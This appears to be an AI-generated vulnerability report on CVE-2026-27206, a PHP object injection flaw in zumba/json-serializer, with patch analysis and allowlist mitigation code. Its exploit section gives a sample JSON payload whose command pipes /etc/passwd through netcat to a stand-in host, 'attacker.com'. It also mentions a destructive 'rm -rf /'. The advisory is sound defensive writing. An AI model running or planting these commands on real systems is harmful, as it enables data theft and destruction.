CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27206
8.1

The Zumba Class Dance: RCE via PHP Object Injection in json-serializer

Alon Barad
Alon Barad
Software Engineer

Feb 21, 2026·5 min read·11 visits

PoC Available

Executive Summary (TL;DR)

Zumba Json Serializer <= 3.2.2 blindly trusts the `@type` field in JSON input, allowing attackers to instantiate any PHP class. If a 'gadget' class exists in the application, this leads to RCE. The fix in 3.2.3 introduces an allowlist, but it defaults to 'allow all' for backward compatibility, leaving updated applications vulnerable unless explicitly configured.

A high-severity PHP Object Injection vulnerability exists in the Zumba Json Serializer library. By trusting user-controlled type hints in JSON payloads, the library allows attackers to instantiate arbitrary classes, leading to Remote Code Execution (RCE) via magic method gadget chains. While a patch exists, it requires manual configuration to be effective.

The Hook: When JSON Gets Too Smart

We all love JSON. It’s simple, text-based, and usually dumb as a rock. That’s a good thing. But sometimes, developers want their JSON to be smart. They want it to remember that { "foo": "bar" } isn't just an array, but an instance of UserPreferenceStrategy. Enter zumba/json-serializer, a PHP library designed to serialize complex objects into JSON and resurrect them later.

To pull off this necromancy, the library embeds metadata—specifically a @type field—into the JSON. When the library parses this JSON, it looks at that field and says, "Aha! I need to spin up a new instance of this class." It’s a convenient feature for developers who want to persist state without writing boilerplate code.

Unfortunately, this convenience is also a loaded gun. In the security world, we call this PHP Object Injection (POI). If you let an attacker tell your application what class to instantiate, you aren't just parsing data anymore; you're handing over the keys to the runtime environment. It’s like letting a stranger order off a secret menu where one of the items is "burn the restaurant down."

The Flaw: Blind Trust in Type Hints

The root cause, identified as CWE-502 (Deserialization of Untrusted Data), lives in the unserializeObject method of the JsonSerializer class. Prior to version 3.2.3, the library operated on a policy of absolute trust. It would take the string value provided in the @type key and feed it directly into PHP's reflection mechanisms to instantiate the object.

There were no guardrails. No bouncers at the door checking the guest list. If the JSON payload contained "@type": "GuzzleHttp\\Client", the library would happily try to create a Guzzle client. If it contained "@type": "Monolog\\Handler\\StreamHandler", it would create that too.

The logic was straightforward but fatal: read the type, load the class, populate properties. The library assumed that the JSON only came from trusted sources—a classic fallacy in web development. In reality, if this library is used to process API requests, cookies, or queued jobs, that JSON is coming from the wild, untamed internet.

The Code: Analyzing the Patch

The fix arrived in version 3.2.3 via commit bf26227879adefce75eb9651040d8982be97b881. The maintainers introduced an allowlist mechanism. Instead of instantiating whatever the JSON demands, the developer can now define exactly which classes are permitted.

Here is the critical logic added to unserializeObject:

// The Fix: Check against an allowlist
if ($this->allowedClasses !== null && !in_array($className, $this->allowedClasses, true)) {
    throw new JsonSerializerException(
        'Class ' . $className . ' is not allowed for deserialization. ' .
        'Use setAllowedClasses() to configure the list of allowed classes.'
    );
}

> [!WARNING] > Here is the catch: To maintain backward compatibility, the $allowedClasses property defaults to null. In this library's logic, null means "allow everything."

This is a classic "opt-in security" pattern. Simply running composer update does not fix the vulnerability. The code is patched, but the door is still unlocked until you explicitly call setAllowedClasses([...]). It’s a patch that acts more like a toolbox than a shield.

The Exploit: Building a Gadget Chain

To turn this instantiation primitive into Remote Code Execution, we need a Gadget Chain. In PHP, this relies on "Magic Methods"—specifically __wakeup() (called on creation) and __destruct() (called when the object is destroyed/garbage collected).

An attacker constructs a JSON payload that references a class known to exist in the application's dependencies (e.g., a vulnerable version of Monolog or a framework component). This class usually has a destructor that performs unsafe operations on its properties, like deleting a file or executing a shell command.

Here is the attack flow:

  1. Recon: Attacker identifies the target is using zumba/json-serializer.
  2. Gadget Hunt: Attacker scans composer.json or error logs to find available classes with dangerous destructors.
  3. Payload Crafting: Attacker crafts JSON setting @type to the gadget class and populating properties with malicious commands.
  4. Execution: The library instantiates the object. When the script ends, the object is destroyed, the destructor fires, and the server executes rm -rf /.
{
    "@type": "VulnerableLib\\DestructiveClass",
    "command": "cat /etc/passwd | nc attacker.com 1337"
}

The Mitigation: How to actually fix it

If you are using zumba/json-serializer, you have two tasks. First, update the library. Second, change your code. If you skip step two, you are still vulnerable.

Step 1: Update to version 3.2.3.

Step 2: Configure the allowlist. You must explicitly tell the serializer which classes are safe to hydrate. If you only expect User objects, only allow User objects.

$serializer = new Zumba\JsonSerializer\JsonSerializer();
 
// LOCK IT DOWN
$serializer->setAllowedClasses([
    MyApp\Models\User::class,
    MyApp\Models\Product::class,
    stdClass::class // Don't forget stdClass if you use it!
]);
 
$user = $serializer->unserialize($json);

If you cannot define an allowlist because your data is too dynamic, you are likely using the wrong tool for the job. Consider using standard json_decode($json, true) which returns arrays and is immune to object injection attacks.

Official Patches

ZumbaFix commit implementing allowed classes check

Fix Analysis (1)

Technical Appendix

CVSS Score
8.1/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Systems

PHP Applications using zumba/json-serializer < 3.2.3

Affected Versions Detail

Product
Affected Versions
Fixed Version
json-serializer
zumba
< 3.2.33.2.3
AttributeDetail
CWE IDCWE-502
CVSS Score8.1 (High)
Attack VectorNetwork
ImpactRemote Code Execution (RCE)
Exploit StatusProof of Concept (PoC) Available
Vulnerability TypePHP Object Injection

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059Command and Scripting Interpreter
Execution
CWE-502
Deserialization of Untrusted Data

The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

Known Exploits & Detection

GitHub Security AdvisoryOfficial advisory containing the PoC payload structure.

Vulnerability Timeline

Vulnerability fixed in repository
2026-02-18
Public disclosure and GHSA publication
2026-02-21

References & Sources

  • [1]GHSA-v7m3-fpcr-h7m2
  • [2]Release 3.2.3

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.